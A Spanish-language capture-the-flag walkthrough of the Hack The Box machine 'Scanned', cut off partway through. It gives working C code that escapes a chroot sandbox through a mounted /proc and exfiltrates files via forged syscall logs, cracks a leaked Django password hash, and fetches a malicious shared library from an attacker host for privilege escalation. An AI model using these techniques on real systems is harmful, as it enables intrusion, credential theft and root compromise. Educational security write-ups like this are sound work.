Scanned
20 minutos de lectura
- SO: Linux
- Dificultad: Insana
- Dirección IP: 10.10.11.141
- Fecha: 29 / 01 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.141 -p 22,80
Nmap scan report for 10.10.11.141
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 6a:7b:14:68:97:01:4a:08:6a:e1:37:b1:d2:bd:8f:3f (RSA)
| 256 f6:b4:e1:10:f0:7b:38:48:66:34:c2:c6:28:ff:b8:25 (ECDSA)
|_ 256 c9:8b:96:19:51:e7:ce:1f:7d:3e:44:e9:a4:04:91:09 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Malware Scanner
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.60 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración web
Si vamos a http://10.10.11.141
, veremos una página web como esta:
Nos dice que han desarrollado una sandbox segura que utiliza chroot
, espacios de nombre de usuario y ptrace
. Tenemos otra página en la que subir un binario con malware:
Solo por probar, vamos a compilar un programa sencillo en C como este:
#include <stdio.h>
int main() {
printf("Hello, World!\n");
return 0;
}
$ gcc hello.c -o hello
Lo subimos y veremos este reporte de llamadas de sistema usadas por el binario:
En este punto tenemos que analizar el código fuente de la sandbox y de la aplicación web.
Análisis del código de la sandbox
Esta es la función main
del programa:
int main(int argc, char** argv) {
if (argc < 2) {
printf("Usage: %s <program> [uuid]\n", argv[0]);
exit(-2);
}
if (strlen(argv[1]) > FILENAME_MAX - 50) {
DIE("Program name too long");
}
if ((argv[1][0]) != '/') {
DIE("Program path must be absolute");
}
umask(0);
check_caps();
int result = mkdir("jails", 0771);
if (result == -1 && errno != EEXIST) {
DIE( "Could not create jail directory");
}
char uuid[33] = {0};
if (argc < 3) {
generate_uuid(uuid);
} else {
memcpy(uuid, argv[2], 32);
}
uuid[32] = 0;
make_jail(uuid, argv[1]);
}
La primera comprobación es que el binario sandbox
tenga suficientes capabilities:
void check_caps() {
struct user_cap_header_struct header;
struct user_cap_data_struct caps;
char pad[32];
header.version = _LINUX_CAPABILITY_VERSION_3;
header.pid = 0;
caps.effective = caps.inheritable = caps.permitted = 0;
syscall(SYS_capget, &header, &caps);
if (!(caps.effective & 0x2401c0)) {
DIE("Insufficient capabilities");
}
}
Podemos usar capsh
para decodificar la representación hexadecimal de 0x2401c0
a nombres de capabilities:
$ capsh --decode=0x2401c0
0x00000000002401c0=cap_setgid,cap_setuid,cap_setpcap,cap_sys_chroot,cap_sys_admin
Vemos que el binario tiene esas capabilities, que son muy interesantes.
Luego, hace algunas configuraciones en el sistema de archivos y finalmente llama a make_jail
:
void make_jail(char* name, char* program) {
jailsfd = open("jails", O_RDONLY|__O_DIRECTORY);
if (faccessat(jailsfd, name, F_OK, 0) == 0) {
DIE("Jail name exists");
}
int result = mkdirat(jailsfd, name, 0771);
if (result == -1 && errno != EEXIST) {
DIE( "Could not create the jail");
}
if (access(program, F_OK) != 0) {
DIE("Program does not exist");
}
chdir("jails");
chdir(name);
copy_libs();
do_namespaces();
copy(program, "./userprog");
if (chroot(".")) {DIE("Couldn't chroot #1");}
if (setgid(1001)) {DIE("SGID");}
if (setegid(1001)) {DIE("SEGID");}
if (setuid(1001)) {DIE("SUID");};
if (seteuid(1001)) {DIE("SEUID");};
do_trace();
sleep(3);
}
Otra función interesante es copy_libs
:
void copy_libs() {
char* libs[] = {"libc.so.6", NULL};
char path[FILENAME_MAX] = {0};
char outpath[FILENAME_MAX] = {0};
system("mkdir -p bin usr/lib/x86_64-linux-gnu usr/lib64; cp /bin/sh bin");
for (int i = 0; libs[i] != NULL; i++) {
sprintf(path, "/lib/x86_64-linux-gnu/%s", libs[i]);
// sprintf(path, "/lib/%s", libs[i]);
sprintf(outpath, "./usr/lib/%s", libs[i]);
copy(path, outpath);
}
copy("/lib64/ld-linux-x86-64.so.2", "./usr/lib64/ld-linux-x86-64.so.2");
system("ln -s usr/lib64 lib64; ln -s usr/lib lib; chmod 755 -R usr bin");
}
Que muestra que dentro de la jaula tenemos Glibc y /bin/sh
.
Y otra función importante es do_namespaces
:
void do_namespaces() {
if (unshare(CLONE_NEWPID|CLONE_NEWNET) != 0) {DIE("Couldn't make namespaces");};
// Create pid-1
if (fork() != 0) {sleep(6); exit(-1);}
mkdir("./proc", 0555);
mount("/proc", "./proc", "proc", 0, NULL);
}
Esta realiza algo de lo que se puede abusar. Está montando el directorio /proc
de un proceso hijo de sandbox
en la jaula. Este hecho será útil para la explotación, ya que podremos leer información del proceso de sandbox
.
Finalmente, la función make_jail
crea el entorno de chroot
y se cambia a dicho directorio, configura los permisos de usuario y grupo como UID/GID 1001 y finalmente llama a do_trace
para monitorizar el comportamiento del malware:
void do_trace() {
// We started with capabilities - we must reset the dumpable flag
// so that the child can be traced
prctl(PR_SET_DUMPABLE, 1, 0, 0, 0, 0);
// Remove dangerous capabilities before the child starts
struct user_cap_header_struct header;
struct user_cap_data_struct caps;
char pad[32];
header.version = _LINUX_CAPABILITY_VERSION_3;
header.pid = 0;
caps.effective = caps.inheritable = caps.permitted = 0;
syscall(SYS_capget, &header, &caps);
caps.effective = 0;
caps.permitted = 0;
syscall(SYS_capset, &header, &caps);
int child = fork();
if (child == -1) {
DIE("Couldn't fork");
}
if (child == 0) {
do_child();
}
int killer = fork();
if (killer == -1) {
DIE("Couldn't fork (2)");
}
if (killer == 0) {
do_killer(child);
} else {
do_log(child);
}
}
Esta función es algo larga, pero no es compleja. Lo que hace primero es dividir el proceso y llamar a do_child
, que básicamente habilita que el binario con malware se pueda trazar con ptrace
y lo ejecuta con execve
:
void do_child() {
// Prevent child process from escaping chroot
close(jailsfd);
prctl(PR_SET_PDEATHSIG, SIGHUP);
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
char* args[] = {NULL};
execve("/userprog", args, NULL);
DIE("Couldn't execute user program");
}
Después, divide el proceso de nuevo y mata la ejecución del malware tras 5 segundos con do_killer
:
void do_killer(int pid) {
sleep(5);
if (kill(pid, SIGKILL) == -1) {DIE("Kill err");}
puts("Killed subprocess");
exit(0);
}
Al mismo tiempo, la función llama a do_log
, que es una función que utiliza ptrace
para extraer todas las instrucciones syscall
usadas por el malware (de hecho, en una función llamada log_syscall
):
void log_syscall(struct user_regs_struct regs, unsigned long ret) {
registers result;
result.rax = regs.orig_rax;
result.rdi = regs.rdi;
result.rsi = regs.rsi;
result.rdx = regs.rdx;
result.r10 = regs.r10;
result.r8 = regs.r8;
result.r9 = regs.r9;
result.ret = ret;
int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);
if (fd == -1) {
return;
}
write(fd, &result, sizeof(registers));
close(fd);
}
Todas las instrucciones de syscall
se añaden al archivo log
que está dentro del entorno de chroot
. Y este archivo log
se analiza por el servidor web y se muestra como reporte.
Análisis de la aplicación web
También nos proporcionan el código fuente de la aplicación web, que es una aplicación en Django (un framework de Python). Los proyectos de Django tienen muchos archivos, pero la mayoría son los que vienen por defecto.
Esta es la función que ejecuta el malware en la sandbox (scanner/views.py
):
def handle_file(file):
md5 = calculate_file_md5(file)
path = f"{settings.FILE_PATH}/{md5}"
with open(path, 'wb+') as f:
for chunk in file.chunks():
f.write(chunk)
os.system(f"cd {settings.SBX_PATH}; ./sandbox {path} {md5}")
os.remove(path)
return md5
Podríamos pensar en inyección de comandos debido a la interpolación de strings, pero ninguna de las variables son externas, por lo que no podemos controlarlas.
Dentro de viewer/views.py
se ven dos funciones:
def view_file(request, md5: str):
path = f"{settings.SBX_PATH}/jails/{md5}"
if not os.path.exists(path):
raise Http404("A sample with this hash has not been uploaded.")
logfile = f"{path}/log"
if not os.path.exists(logfile):
return HttpResponse("There was an error logging this application")
syscalls = [call.render() for call in parse_log(logfile)]
ignore = list(filter(lambda call: call[0] == SyscallClass.Ignore, syscalls))
low = list(filter(lambda call: call[0] == SyscallClass.Low, syscalls))
med = list(filter(lambda call: call[0] == SyscallClass.Medium, syscalls))
high = list(filter(lambda call: call[0] == SyscallClass.High, syscalls))
render_vars = {"md5": md5, "ignore": ignore, "low": low, "med": med, "high": high}
return render(request, 'view.html', render_vars)
def parse_log(path):
syscalls = []
with open(path, 'rb') as f:
chunk = f.read(8 * 8)
nums = struct.unpack("q" * 8, chunk)
while len(chunk) == 8*8:
nums = struct.unpack("q" * 8, chunk)
call = LoggedSyscall(nums)
syscalls.append(call)
chunk = f.read(8 * 8)
return syscalls
Estas funciones se utilizan para parsear el archivo log
generado por el binario sandbox
, y lo renderiza en el reporte.
Se ve otro archivo llamado viewer/syscalls.py
donde las instrucciones syscall
del archivo log
se clasifican en función de la configuración de registros ($rax
, $rdi
, $rsi
…):
import numbers
import enum
from typing import List, Tuple
class SyscallClass(enum.Enum):
Ignore = 0
Low = 1
Medium = 2
High = 3
def __gt__(self, other):
if isinstance(other, numbers.Real):
return self.value > other
return self.value > other.value
def __lt__(self, other):
if isinstance(other, numbers.Real):
return self.value < other
return self.value < other.value
# Class, name, syscall number, arg count
syscalls = [
[SyscallClass.Low, "read", 0, 3],
[SyscallClass.Low, "write", 1, 3],
[SyscallClass.Medium, "open", 2, 3],
[SyscallClass.Low, "close", 3, 1],
[SyscallClass.Medium, "stat", 4, 2],
[SyscallClass.Medium, "fstat", 5, 2],
[SyscallClass.Medium, "lstat", 6, 2],
[SyscallClass.Medium, "access", 21, 2],
[SyscallClass.Low, "alarm", 37, 1],
[SyscallClass.High, "socket", 41, 3],
[SyscallClass.High, "connect", 42, 3],
[SyscallClass.High, "accept", 43, 3],
[SyscallClass.High, "shutdown", 48, 2],
[SyscallClass.High, "bind", 49, 3],
[SyscallClass.High, "listen", 50, 2],
[SyscallClass.Medium, "clone", 56, 5],
[SyscallClass.Medium, "fork", 57, 0],
[SyscallClass.Medium, "vfork", 58, 0],
[SyscallClass.High, "execve", 59, 3],
[SyscallClass.High, "kill", 62, 2],
[SyscallClass.Medium, "uname", 63, 1],
[SyscallClass.Medium, "getdents", 78, 3],
[SyscallClass.Medium, "getcwd", 79, 2],
[SyscallClass.Medium, "chdir", 80, 1],
[SyscallClass.Medium, "fchdir", 81, 1],
[SyscallClass.High, "rename", 82, 2],
[SyscallClass.Low, "mkdir", 83, 2],
[SyscallClass.High, "rmdir", 84, 1],
[SyscallClass.High, "unlink", 87, 1],
[SyscallClass.Medium, "chmod", 90, 2],
[SyscallClass.Medium, "fchmod", 91, 2],
[SyscallClass.High, "chown", 92, 3],
[SyscallClass.High, "fchown", 93, 3],
[SyscallClass.High, "ptrace", 101, 4],
]
template = """<div class="alert alert-{}" style="width: 80%" role="alert">
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">{}({}) = {}</pre>
</div>
"""
class LoggedSyscall:
sys_num: int
rdi: int
rsi: int
rdx: int
r10: int
r8: int
r9: int
ret: int
def __init__(self, values):
self.sys_num, self.rdi, self.rsi, self.rdx, \
self.r10, self.r8, self.r9, self.ret = values
def get_args(self, count) -> List[int]:
if count == 0:
return []
if count == 1:
return [self.rdi]
if count == 2:
return [self.rdi, self.rsi]
if count == 3:
return [self.rdi, self.rsi, self.rdx]
if count == 4:
return [self.rdi, self.rsi, self.rdx, self.r10]
if count == 5:
return [self.rdi, self.rsi, self.rdx, self.r10, self.r8]
if count == 6:
return [self.rdi, self.rsi, self.rdx, self.r10, self.r8, self.r9]
def render(self) -> Tuple[SyscallClass, str]:
status = "light"
for sys_entry in syscalls:
if sys_entry[2] == self.sys_num:
if sys_entry[0] == SyscallClass.Low:
status = "success"
elif sys_entry[0] == SyscallClass.Medium:
status = "warning"
elif sys_entry[0] == SyscallClass.High:
status = "danger"
rendered = template.format(status, f"{sys_entry[1]}", ", ".join([
hex(x) for x in self.get_args(sys_entry[3])
]), hex(self.ret))
return sys_entry[0], rendered
rendered = template.format(status, f"sys_{self.sys_num}", "", hex(self.ret))
return SyscallClass.Ignore, rendered
Abusando de malas configuraciones
En primer lugar, podemos intentar escapar de la jaula chroot
con la técnica tradicional de crear otro entorno de chroot
, escalar hacia arriba hasta el directorio raíz real y llamar a chroot
de nuevo. No obstante, esto no es posible porque el entorno de chroot
está correctamente configurado.
Para poder realizar pruebas en local, copié los archivos fuente en esta máquina e inicié el mismo proyecto que ellos tienen:
$ python3 manage.py migrate
Operations to perform:
Apply all migrations: admin, auth, contenttypes, sessions
Running migrations:
Applying contenttypes.0001_initial... OK
Applying auth.0001_initial... OK
Applying admin.0001_initial... OK
Applying admin.0002_logentry_remove_auto_add... OK
Applying admin.0003_logentry_add_action_flag_choices... OK
Applying contenttypes.0002_remove_content_type_name... OK
Applying auth.0002_alter_permission_name_max_length... OK
Applying auth.0003_alter_user_email_max_length... OK
Applying auth.0004_alter_user_username_opts... OK
Applying auth.0005_alter_user_last_login_null... OK
Applying auth.0006_require_contenttypes_0002... OK
Applying auth.0007_alter_validators_add_error_messages... OK
Applying auth.0008_alter_user_username_max_length... OK
Applying auth.0009_alter_user_last_name_max_length... OK
Applying auth.0010_alter_group_name_max_length... OK
Applying auth.0011_update_proxy_permissions... OK
Applying auth.0012_alter_user_first_name_max_length... OK
Applying sessions.0001_initial... OK
$ python3 manage.py runserver
Watching for file changes with StatReloader
Performing system checks...
System check identified no issues (0 silenced).
Django version 3.2.6, using settings 'malscanner.settings'
Starting development server at http://127.0.0.1:8000/
Quit the server with CONTROL-C.
Como los escapes de chroot
tradicionales no funcionan, vamos a hacer cosas más sencillas. Por ejemplo, podemos tratar de listar directorios desde la perspectiva del malware con este script en C:
#include <dirent.h>
#include <stdio.h>
int main() {
DIR* dr;
struct dirent *de;
dr = opendir(".");
if (dr == NULL) {
printf("Could not open current directory");
return 1;
}
while ((de = readdir(dr)) != NULL) {
printf("%s\n", de->d_name);
}
closedir(dr);
return 0;
}
Lo compilamos y lo subimos y vemos la siguiente salida en el log del servidor:
[] "GET /scanner/upload HTTP/1.1" 301 0
[] "GET /scanner/upload/ HTTP/1.1" 200 2189
usr
.
lib
userprog
bin
proc
..
lib64
log
Exited
[] "POST /scanner/upload/ HTTP/1.1" 302 0
[] "GET /viewer/ce6407480db61da2177849329f4aeb83 HTTP/1.1" 301 0
[] "GET /viewer/ce6407480db61da2177849329f4aeb83/ HTTP/1.1" 200 18239
Genial, tenemos esos archivos y directorios. Podemos seguir enumerando el sistema de archivos localmente desde el log del servidor, pero al final tendremos que encontrar una manera de obtener una salida.
De hecho, una manera muy ingeniosa es utilizando el archivo log
. Podemos introducir la información que queremos exfiltrar como si fuera una instrucción syscall
en log
, de manera que el servidor lo muestre en el reporte. Luego, podremos extraer la información:
Podemos hacer uso de las mismas funciones que hay en tracing.c
del código fuente y escribir en el archivo log
:
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
typedef struct __attribute__((__packed__)) {
unsigned long rax;
unsigned long rdi;
unsigned long rsi;
unsigned long rdx;
unsigned long r10;
unsigned long r8;
unsigned long r9;
unsigned long ret;
} registers;
void log_syscall(registers regs, unsigned long ret) {
registers result;
result.rax = regs.rax;
result.rdi = regs.rdi;
result.rsi = regs.rsi;
result.rdx = regs.rdx;
result.r10 = regs.r10;
result.r8 = regs.r8;
result.r9 = regs.r9;
result.ret = ret;
int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);
if (fd == -1) {
return;
}
write(fd, &result, sizeof(registers));
close(fd);
}
int main() {
DIR* dr;
struct dirent *de;
registers regs;
unsigned long ret;
regs.rax = 0x3b;
regs.rdi = 0x41414141;
regs.rsi = 0x42424242;
regs.rdx = 0x43434343;
regs.r10 = 0x44444444;
regs.r8 = 0x45454545;
regs.r9 = 0x46464646;
ret = 0x47474747;
dr = opendir(".");
if (dr == NULL) {
printf("Could not open current directory");
return 1;
}
while ((de = readdir(dr)) != NULL) {
printf("%s\n", de->d_name);
}
log_syscall(regs, ret);
closedir(dr);
return 0;
}
El script anterior registrará un sys_execve
($rax = 0x3b
) usando números reconocibles como valores de registros. Si lo subimos y miramos la salida, veremos que la instrucción syscall
se reporta:
Se ve que no todos los registros se muestran. Eso es porque sys_execve
solamente necesita tres argumentos. Si quisiéramos más, podríamos haber usado sys_clone
, que usa cinco registros, pero yo seguiré usando sys_execve
, ya que solamente usaré ret
como salida.
Ahora tenemos que parsear la información que queremos exfiltrar como valores hexadecimales y poner en ret
el valor correspondiente. Esto es un ejemplo para exfiltrar el listado de directorios:
#include <dirent.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
typedef struct __attribute__((__packed__)) {
unsigned long rax;
unsigned long rdi;
unsigned long rsi;
unsigned long rdx;
unsigned long r10;
unsigned long r8;
unsigned long r9;
unsigned long ret;
} registers;
void log_syscall(unsigned long ret) {
registers result;
result.rax = 0x3b;
result.rdi = 0;
result.rsi = 0;
result.rdx = 0;
result.r10 = 0;
result.r8 = 0;
result.r9 = 0;
result.ret = ret;
int fd = open("/log", O_CREAT|O_RDWR|O_APPEND, 0777);
if (fd == -1) {
return;
}
write(fd, &result, sizeof(registers));
close(fd);
}
void read_file(char* path) {
unsigned long ret = 0l;
char ret_string[8] = {0, 0, 0, 0, 0, 0, 0, 0};
int fd = open(path, O_RDONLY);
while (read(fd, ret_string, 8)) {
ret = 0l;
for (int i = 0; i < 8; i++) {
ret <<= 8;
ret += ret_string[i];
ret_string[i] = 0;
}
log_syscall(ret);
}
close(fd);
}
int main() {
DIR* dr;
struct dirent *de;
FILE* fp;
fp = fopen("tmp_file", "wb");
dr = opendir(".");
while ((de = readdir(dr)) != NULL) {
fprintf(fp, "%s\n", de->d_name);
}
closedir(dr);
fclose(fp);
read_file("tmp_file");
return 0;
}
Con curl
y algo de filtrado, podemos extraer la información:
$ curl 127.0.0.1:8000/viewer/bfd6801836d0fa311b9a58c8fd25da94/ -s | grep execve
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x7573720a2e0a746d</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x705f66696c650a6c</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x69620a7573657270</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x726f670a62696e0a</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x70726f630a2e2e0a</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x6c696236340a6c6f</pre>
<p style="font-family: Courier New,Courier,Lucida Sans Typewriter,Lucida Typewriter,monospace;">execve(0x0, 0x0, 0x0) = 0x670a000000000000</pre>
$ curl 127.0.0.1:8000/viewer/bfd6801836d0fa311b9a58c8fd25da94/ -s | grep execve | awk -F = '{ print $3 }'
0x7573720a2e0a746d</pre>
0x705f66696c650a6c</pre>
0x69620a7573657270</pre>
0x726f670a62696e0a</pre>
0x70726f630a2e2e0a</pre>
0x6c696236340a6c6f</pre>
0x670a000000000000</pre>
$ curl 127.0.0.1:8000/viewer/bfd6801836d0fa311b9a58c8fd25da94/ -s | grep execve | awk -F = '{ print $3 }' | sed 's/<\/pre>//g'
0x7573720a2e0a746d
0x705f66696c650a6c
0x69620a7573657270
0x726f670a62696e0a
0x70726f630a2e2e0a
0x6c696236340a6c6f
0x670a000000000000
$ curl 127.0.0.1:8000/viewer/bfd6801836d0fa311b9a58c8fd25da94/ -s | grep execve | awk -F = '{ print $3 }' | sed 's/<\/pre>//g' | awk -F x '{ printf "%16s\n", $2 }'
7573720a2e0a746d
705f66696c650a6c
69620a7573657270
726f670a62696e0a
70726f630a2e2e0a
6c696236340a6c6f
670a000000000000
$ curl 127.0.0.1:8000/viewer/bfd6801836d0fa311b9a58c8fd25da94/ -s | grep execve | awk -F = '{ print $3 }' | sed 's/<\/pre>//g' | awk -F x '{ printf "%16s\n", $2 }' | xxd -r -p
usr
.
tmp_file
lib
userprog
bin
proc
..
lib64
log
Podemos seguir el mismo proceso para leer archivos del entorno de sandbox. Al final, decidí utilizar un script en Bash que compile el binario con el archivo a leer o el directorio a listar, lo sube y extrae la información de manera automática. El script se llama exploit.sh
(explicación detallada aquí):
$ bash exploit.sh
[!] Usage: bash exploit.sh <host> <f|d> <path-to-file|dir>
$ bash exploit.sh 127.0.0.1:8000 d /
usr
.
tmp_file
lib
userprog
bin
proc
..
lib64
log
En este punto podemos comenzar a enumerar el directorio /proc
de la máquina remota. Como se explicó antes, hay una mala configuración porque el binario sandbox
monta el directorio /proc
en el entorno de chroot
, lo que lo hace accesible desde la sandbox:
$ bash exploit.sh 10.10.11.141 d /proc
.
..
fb
fs
bus
dma
irq
mpt
net
sys
tty
acpi
keys
kmsg
misc
mtrr
stat
iomem
kcore
locks
swaps
crypto
driver
mounts
uptime
vmstat
cgroups
cmdline
cpuinfo
devices
ioports
loadavg
meminfo
modules
sysvipc
version
consoles
kallsyms
pressure
slabinfo
softirqs
zoneinfo
buddyinfo
diskstats
key-users
schedstat
interrupts
kpagecount
kpageflags
partitions
timer_list
execdomains
filesystems
kpagecgroup
sched_debug
vmallocinfo
pagetypeinfo
dynamic_debug
sysrq-trigger
self
thread-self
1
2
3
Hay tres identificadores de proceso (PID) diferentes: 1
, 2
y 3
. Podemos listar los descriptores de archivo usados por dichos PID:
$ bash exploit.sh 10.10.11.141 d /proc/1/fd
.
..
0
1
2
3
$ bash exploit.sh 10.10.11.141 d /proc/2/fd
.
..
0
1
2
3
4
$ bash exploit.sh 10.10.11.141 d /proc/3/fd
.
..
0
1
2
3
Aquí hay que darse cuenta de que si listamos el descriptor de archivo número 3
(como directorio), estaremos listando el directorio jails
:
$ bash exploit.sh 10.10.11.141 d /proc/1/fd/3
7d431ab8af5ab635e048e40f36f69536
.
720e0160ff47fcd4da968b89de05d5e9
..
$ bash exploit.sh 10.10.11.141 d /proc/3/fd/3
.
720e0160ff47fcd4da968b89de05d5e9
..
Por alguna razón, se obtiene más información con /proc/1/fd/3
, por lo que continuaré usando este. De hecho, podemos escalar directorios hacia arriba, escapando del entorno de chroot
:
$ bash exploit.sh 10.10.11.141 d /proc/1/fd/3/..
jails
.
..
sandbox
$ bash exploit.sh 10.10.11.141 f /proc/1/fd/3/../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
clarence:x:1000:1000:clarence,,,:/home/clarence:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sandbox:x:1001:1001::/home/sandbox:/usr/sbin/nologin
Intrusión en la máquina
Genial, ahora tenemos un usuario de sistema llamado clarence
y podemos leer archivos del servidor. Vamos a enumerar un poco más el servidor:
$ bash exploit.sh 10.10.11.141 d /proc/1/fd/3/../..
scanner
.
malscanner
..
viewer
templates
.gitignore
sandbox
static
manage.py
uploads
uwsgi_params
requirements.txt
malscanner.db
Existe un archivo de base de datos SQLite llamado malscanner.db
. Vamos a tratar de descargarlo y abrirlo:
$ bash exploit.sh 10.10.11.141 f /proc/1/fd/3/../../malscanner.db > malscanner.db
$ file malscanner.db
malscanner.db: SQLite 3.x database, last written using SQLite version 3033745, file counter 34, database pages 32, cookie 0x42, schema 4, UTF-8, version-valid-for 34
$ sqlite3 malscanner.db
SQLite version 3.37.0 2021-12-09 01:34:53
Enter ".help" for usage hints.
sqlite> .tables
Error: database disk image is malformed
sqlite> .exit
Está corrupto… Pero todavía podemos mirar las strings del archivo, y encontrar un hash MD5 para clarence
:
$ strings malscanner.db | grep clarence
md5$kL2cLcK2yhbp3za4w3752m$9886e17b091eb5ccdc39e436128141cf2021-09-14 18:39:55.237074clarence2021-09-14 18:36:46.227819
clarence
Como se trata de un hash con formato Django y contiene sal, decidí usar un script en Go personalizado para romperlo con rockyou.txt
: crack.go
(explicación detallada aquí):
$ go run crack.go $WORDLISTS/rockyou.txt 'md5$kL2cLcK2yhbp3za4w3752m$9886e17b091eb5ccdc39e436128141cf'
[*] Algorithm: md5
[*] Salt: kL2cLcK2yhbp3za4w3752m
[*] Hash: 9886e17b091eb5ccdc39e436128141cf
[+] Cracked: onedayyoufeellikecrying
Y ya tenemos una contraseña. Afortunadamente, esta contraseña se reutiliza para SSH. Y aquí tenemos la flag user.txt
:
$ ssh clarence@10.10.11.141
clarence@10.10.11.141's password:
clarence@scanned:~$ cat user.txt
8e6287143ba5f57564bd0fb2ac7f733e
Library Hijacking
Ahora tenemos la habilidad de ejecutar sandbox
desde la propia máquina y realizar más acciones con malware preparado.
Por ejemplo, podemos ejecutar binarios SUID y copiar librerías compartidas dentro de la jaula, de manera que el malware las utilice y podamos ejecutar comandos como root
:
clarence@scanned:~$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/su
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/umount
Vamos a comprobar qué librerías compartidas necesitan para ejecutarse correctamente: fusermount
necesita las librerías que ya están en la jaula, que son las mismas que utiliza /bin/sh
:
clarence@scanned:~$ ldd /usr/bin/fusermount
linux-vdso.so.1 (0x00007ffe36170000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1fb50e4000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1fb52ba000)
clarence@scanned:~$ ldd /bin/sh
linux-vdso.so.1 (0x00007ffe3d5a6000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc39def7000)
/lib64/ld-linux-x86-64.so.2 (0x00007fc39e0e5000)
Para construir una librerlia maliciosa Glibc, podemos utilizar fakelib.sh
. Primero, tenemos que descargar libc.so.6
a nuestra máquina de atacante.
Sin embargo, usando fakelib.sh
sobre libc.so.6
puede no funcionar correctamente. Después de algunas pruebas, encontré que /usr/lib/openssh/ssh-keysign
es SUID y utiliza libz.so.1
:
clarence@scanned:~$ ldd /usr/lib/openssh/ssh-keysign
/usr/lib/openssh/ssh-keysign:
linux-vdso.so.1 (0x00007ffdbe9e8000)
libcrypto.so.1.1 => /lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f72529b4000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007f7252997000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f72527d2000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f72527cc000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f72527aa000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7252d27000)
Por tanto, tenemos que descargar libz.so.1
:
clarence@scanned:~$ cd /
clarence@scanned:/$ python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
$ wget -q 10.10.11.141:1234/lib/x86_64-linux-gnu/libz.so.1
Esta librería libz.so.1
no causará errores con fakelib.sh
(a lo mejor porque es más pequeña que libc.so.6
). Ahora podemos construir una librería maliciosa para ver si el ataque funciona:
$ bash fakelib.sh -l libz.so.1 -o fakelibz.so.1 -g
Generating fake library under fakelibz.so.1
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
clarence@scanned:/$ cd /tmp
clarence@scanned:/tmp$ curl 10.10.17.44/fakelibz.so.1 -so .libz.so.1
Necesitamos utilizar un script en Bash (.copy.sh
) para ejecutarlo justo después de sandbox
y copiar así todos los archivos necesarios en la jaula:
#!/usr/bin/env bash
dir=/var/www/malscanner/sandbox/jails
for jail in $(ls $dir); do
